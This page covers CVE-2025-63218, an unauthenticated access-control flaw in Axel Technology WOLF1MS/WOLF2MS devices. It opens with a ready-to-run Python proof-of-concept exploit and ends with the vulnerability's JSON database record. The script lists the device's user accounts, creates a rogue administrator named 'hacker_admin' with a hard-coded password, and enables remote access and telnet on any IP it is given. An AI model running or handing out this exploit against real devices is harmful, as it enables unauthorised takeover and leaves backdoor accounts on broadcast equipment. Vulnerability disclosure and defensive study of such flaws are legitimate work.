CVE-2025-63218

#!/usr/bin/env python3 # CVE-2025-63218 PoC - Axel Technology WOLF1MS/WOLF2MS Broken Access Control # Target: /cgi-bin/gstFcgi.fcgi endpoint import requests import sys import json def exploit(target_ip, target_port=80): base_url = f"http://{target_ip}:{target_port}" endpoint = "/cgi-bin/gstFcgi.fcgi" print(f"[*] Targeting {base_url}") print(f"[*] Exploiting CVE-2025-63218 - Missing Authentication\n") # Step 1: List all user accounts (No authentication required) print("[+] Step 1: Enumerating user accounts...") list_users_payload = { "action": "list_users", "module": "user_management" } try: response = requests.post( f"{base_url}{endpoint}", data=list_users_payload, timeout=10 ) print(f"[*] Response Status: {response.status_code}") print(f"[*] Users List: {response.text}") except Exception as e: print(f"[-] Error listing users: {e}") # Step 2: Create new admin user print("\n[+] Step 2: Creating new admin user...") create_user_payload = { "action": "create_user", "module": "user_management", "username": "hacker_admin", "password": "P@ssw0rd123!", "role": "administrator" } try: response = requests.post( f"{base_url}{endpoint}", data=create_user_payload, timeout=10 ) print(f"[*] Create User Response: {response.text}") except Exception as e: print(f"[-] Error creating user: {e}") # Step 3: Modify system settings print("\n[+] Step 3: Modifying system settings...") modify_settings_payload = { "action": "modify_settings", "module": "system_config", "settings": json.dumps({"remote_access": True, "telnet_enabled": True}) } try: response = requests.post( f"{base_url}{endpoint}", data=modify_settings_payload, timeout=10 ) print(f"[*] Settings Modified: {response.text}") except Exception as e: print(f"[-] Error modifying settings: {e}") print("\n[!] Exploitation complete. Device may be fully compromised.") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 exploit(target, port)

{"cve": {"id": "CVE-2025-63218", "sourceIdentifier": "[email protected]", "published": "2025-11-19T15:15:50.453", "lastModified": "2026-01-12T16:01:06.177", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Axel Technology WOLF1MS and WOLF2MS devices (firmware versions 0.8.5 to 1.0.3) are vulnerable to Broken Access Control due to missing authentication on the /cgi-bin/gstFcgi.fcgi endpoint. Unauthenticated remote attackers can list user accounts, create new administrative users, delete users, and modify system settings, leading to full compromise of the device."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}, {"lang": "en", "value": "CWE-285"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:axeltechnology:wolf1ms_firmware:*:*:*:*:*:*:*:*", "versionStartIncluding": "0.8.5", "versionEndIncluding": "1.0.3", "matchCriteriaId": "6CD63D4E-079A-4F2F-A4DA-20D1FA44F0DB"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:axeltechnology:wolf1ms:-:*:*:*:*:*:*:*", "matchCriteriaId": "80DEC281-BE5E-42AC-875E-E4869D0AE8A0"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:axeltechnology:wolf2ms_firmware:*:*:*:*:*:*:*:*", "versionStartIncluding": "0.8.5", "versionEndIncluding": "1.0.3", "matchCriteriaId": "8703F9D9-8688-41D3-803C-6991085204BE"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:axeltechnology:wolf2ms:-:*:*:*:*:*:*:*", "matchCriteriaId": "B43485C9-4F82-4991-B22A-6C1F2ADD3214"}]}]}], "references": [{"url": "https://github.com/shiky8/my--cve-vulnerability-research/tree/main/CVE-2025-63218_Axel%20Technology%20WOLF1MS%20and%20WOLF2MS%20-%20Broken%20Access%20Control", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.axeltechnology.com/", "source": "[email protected]", "tags": ["Product"]}]}}